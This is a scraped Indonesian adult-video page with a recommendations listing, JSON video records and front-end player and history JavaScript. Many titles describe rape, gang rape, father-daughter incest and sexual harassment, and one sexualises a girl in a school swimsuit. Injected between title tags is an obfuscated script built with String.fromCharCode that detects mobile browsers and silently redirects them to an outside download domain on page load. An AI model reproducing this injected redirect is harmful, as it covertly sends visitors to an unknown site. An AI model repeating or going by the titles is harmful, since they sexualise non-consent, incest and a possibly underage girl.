Video yang Direkomendasikan
1:33:40
OKS069 Basah, berkilau, dan ketat, pakaian renang sekolah suci Sakuragi Yukine. Nikmati gadis imut ini dalam pakaian renang sekolahnya! AV ini dimulai dengan adegan rahasia gadis itu berganti pakaian, termasuk close-up payudara dari kecil hingga besar, alat kelamin yang dicukur, alat kelamin berbulu, ketiak berbulu, dan adegan fetish lainnya, permainan sabun lotion, seks berkelompok dengan pakaian renang sekolah, dan ejakulasi tanpa pengaman, semuanya dengan pakaian lengkap.
</title><skrip>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Hubungan inses ayah-anak perempuan. Anak perempuan nakal yang baru lulus masih belum bisa menghilangkan kebiasaan tidur larutnya. Saya meneleponnya beberapa kali tetapi dia tidak mau menjawab, jadi saya harus mengeluarkan penis besar saya dan menidurinya dengan keras.</script></title>
Muat Lebih Banyak
Hubungan inses ayah-anak perempuan. Anak perempuan nakal yang baru lulus masih belum bisa menghilangkan kebiasaan tidur larutnya. Saya meneleponnya beberapa kali tetapi dia tidak mau menjawab, jadi saya harus mengeluarkan penis besar saya dan menidurinya dengan keras. ","lastmod":"2026-07-11","duration":"","url":"/play/19206700.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTgwYzBlOTExMWIzNzRiZmUyZGZhNTU5NmFmZWU3ZWUuanBn.cache","vod_id":19116791,"title":"SORA224 Perawat baru berpayudara besar ini adalah jalang keji yang suka menindas pasien! Pemerkosaan mendorongnya ke ambang kehancuran kepribadian setelah dia disiksa dan dipaksa menjalani pelatihan orgasme!! Sekarang, Mirei Morishita dengan senang hati menelan penis hasil pemerkosaan beramai-ramai dari pasiennya.","lastmod":"2025-03-26","duration":"2:10:47","url":"/play/19116791.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZjY2NmU2M2E3OGYyZmFjZDJlMjQyMWM4YjY0MWNjZWIuanBn.cache","vod_id":19114056,"title":"Seorang wanita pekerja kantoran dibawa ke sebuah rumah dan dipaksa melakukan hubungan seks yang intens.","lastmod":"2025-03-26","duration":"0:10:12","url":"/play/19114056.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvYzg5YzJkNThkMDYzN2U2MmEzYmJhMzI3NzkxYzc5Y2YuanBn.cache","vod_id":19174214,"title":"Aku berhubungan seks dengan istri bosku yang cantik sampai spermaku habis. (Aoi Yurika SAN-382)","lastmod":"2026-01-15","duration":"2:19:23","url":"/play/19174214.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODdhNTc0NmQ2ZGFjNTZmMTE2YTU1Njg5OWQ3ZWRmN2YuanBn.cache","vod_id":19076562,"title":"SONE099 Seorang wanita kantoran bertubuh langsing menjadi korban pelecehan seksual, ditahan oleh seorang pria jangkung dan dipaksa mencapai orgasme yang memalukan.","lastmod":"2025-03-26","duration":"2:13:58","url":"/play/19076562.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzg1MjI3YjBhNTAwZGQ0M2Q5Y2EzYWM0NTI3OTZhOTQuanBn.cache","vod_id":19128455,"title":"Tianmei 0087 secara paksa memperkosa rekan kerjanya, Yi Ruo, yang mengenakan stoking hitam, di kantor.","lastmod":"2025-03-26","duration":"0:30:19","url":"/play/19128455.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWVmYzhlNWY4OGM0NjFiNTFkYWQyOTAxODM0OGYyYTYuanBn.cache","vod_id":19177963,"title":"\"Hanya sebentar saja, izinkan aku menembusmu!!\" Karena kasihan pada saudari tirinya yang masih perawan berusia 30 tahun, ia mengabulkan keinginannya yang terpendam dan menembusnya. Karena itu terlalu berlebihan... JUR-566","lastmod":"2026-02-02","duration":"2:04:01","url":"/play/19177963.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA2MDkvNDc5OWZiMGYzY2Y1N2EzMTAwNWE1MTI3NDM4OGI2YTEuanBn.cache","vod_id":19138396,"title":"MISM305 Layanan Sangat Sensitif Bokong Setan Zubo Kepatuhan Pelatihan Anal Peningkatan Siklus Ketergantungan Klimaks Anal Gila Rahasia","lastmod":"2025-06-09","duration":"2:00:09","url":"/play/19138396.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMzg1YzY0ZTY3NzRhYjU3ZTBjYjJhNDc3ZTQ0NzIxMDEuanBn.cache","vod_id":19061602,"title":"Platform Pelaporan Perilaku Mempermalukan Kejahatan SNIS-012 - Rina Rukawa","lastmod":"2025-03-26","duration":"2:30:40","url":"/play/19061602.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvODAzMTk0NzNlM2QwZDUzODczYWM4MWViMjk5NjgwNTEuanBn.cache","vod_id":19070122,"title":"[Rilis Eksklusif Pertama] Sumber Daya Kelas Atas dari Influencer Bilibili \"Jiangguoer\" - Bagian 1, Terungkap untuk Pertama Kalinya!!!","lastmod":"2025-03-26","duration":"0:35:13","url":"/play/19070122.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWQ0ZGIwZGZiNGU0MmE5MmUxODc2NmFjZmIxZDNkNDkuanBn.cache","vod_id":19057306,"title":"Bawahan perempuan yang berusaha menyenangkan atasan mereka","lastmod":"2025-03-26","duration":"0:15:04","url":"/play/19057306.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMjQyZTMwOTY1N2Q2ZWZkYTU4OTVkYTFhMGZhNTdmYjcuanBn.cache","vod_id":19194575,"title":"Si pemilik kontrakan pergi ke lokasi konstruksi sepupunya dan merayu mandor, yang berujung pada hubungan seks bertiga di sebuah apartemen sederhana.","lastmod":"2026-04-23","duration":"0:32:57","url":"/play/19194575.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYWI4NmU2ZDgxZDU0YjllMTg1ZWY5NTJjOTM5ODQ4MDMuanBn.cache","vod_id":19074249,"title":"CMV137 Kamp Pelatihan Penguatan Otot Anus yang Memalukan, Enema, Latihan Pengondisian Usus, Sakura Yukina.","lastmod":"2025-03-26","duration":"2:09:53","url":"/play/19074249.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMTExNDRiOGI3ZmQ3MjA2YmQ0NTU3Y2ViYjRmNTJiMjMuanBn.cache","vod_id":19177936,"title":"\"Mengapa aku membuat ekspresi cabul seperti itu dan merasakan hal itu? ※Suara di dalam hatiku\" Melecehkan saudara tiri yang sangat introvert setiap hari, mengakibatkan HUNTC-454","lastmod":"2026-02-02","duration":"2:29:51","url":"/play/19177936.html"}]},
videoTitle: 'Seorang subkontraktor dicukur dan dipermalukan di kantor, dilecehkan secara seksual oleh bos yang suka mengintimidasi di tempat kerja, dan dipaksa menjalani pelatihan di depan umum—Sato Nonoha—Ichijo Mio.',
language: 'id',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Tautan berhasil disalin!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Tautan berhasil disalin!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}
友情链接